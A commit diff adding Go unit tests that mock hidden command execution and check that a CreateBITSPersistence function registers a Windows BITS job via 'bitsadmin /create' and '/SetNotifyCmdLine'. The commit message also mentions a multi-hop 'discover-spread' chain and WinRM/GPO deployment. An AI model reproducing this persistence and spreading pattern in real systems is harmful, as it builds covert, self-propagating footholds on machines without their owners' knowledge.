Close automatable P2 test gaps with mocks and httptest integration.

Add container/podman exec mocks, BITS/curl HiddenRun coverage, WinRM/GPO/systemd deploy-plan httptest, and a 3-hop discover-spread Playwright stub chain.

agent/deploy/bits_windows_test.go

@@ -18,3 +18,60 @@ func TestBitsJobName(t *testing.T) {
 		t.Fatalf("job name must not contain spaces: %q", name)
 	}
 }
+
+func TestCreateBITSPersistenceRegistersNotifyJob(t *testing.T) {
+	var calls [][]string
+	SetHiddenCombinedOutputFn(func(name string, arg ...string) ([]byte, error) {
+		return []byte("no matching jobs"), nil
+	})
+	SetHiddenRunFn(func(name string, arg ...string) error {
+		calls = append(calls, append([]string{name}, arg...))
+		return nil
+	})
+	defer func() {
+		SetHiddenRunFn(nil)
+		SetHiddenCombinedOutputFn(nil)
+	}()
+
+	cfg := testRuntimeConfig()
+	if err := CreateBITSPersistence(cfg, `C:\af\worker.exe`); err != nil {
+		t.Fatal(err)
+	}
+
+	foundCreate := false
+	foundNotify := false
+	for _, call := range calls {
+		if len(call) >= 3 && call[0] == "bitsadmin" && call[1] == "/create" {
+			foundCreate = true
+		}
+		if len(call) >= 2 && call[0] == "bitsadmin" && call[1] == "/SetNotifyCmdLine" {
+			foundNotify = true
+		}
+	}
+	if !foundCreate || !foundNotify {
+		t.Fatalf("expected bitsadmin create+notify, calls=%v", calls)
+	}
+}
+
+func TestCreateBITSPersistenceIdempotentWhenJobExists(t *testing.T) {
+	job := BitsJobName(testRuntimeConfig())
+	SetHiddenCombinedOutputFn(func(name string, arg ...string) ([]byte, error) {
+		return []byte(job + " TRANSFER"), nil
+	})
+	ran := false
+	SetHiddenRunFn(func(name string, arg ...string) error {
+		ran = true
+		return nil
+	})
+	defer func() {
+		SetHiddenRunFn(nil)
+		SetHiddenCombinedOutputFn(nil)
+	}()
+
+	if err := CreateBITSPersistence(testRuntimeConfig(), `C:\af\worker.exe`); err != nil {
+		t.Fatal(err)
+	}
+	if ran {
+		t.Fatal("expected no bitsadmin mutations when job already exists")
+	}
+}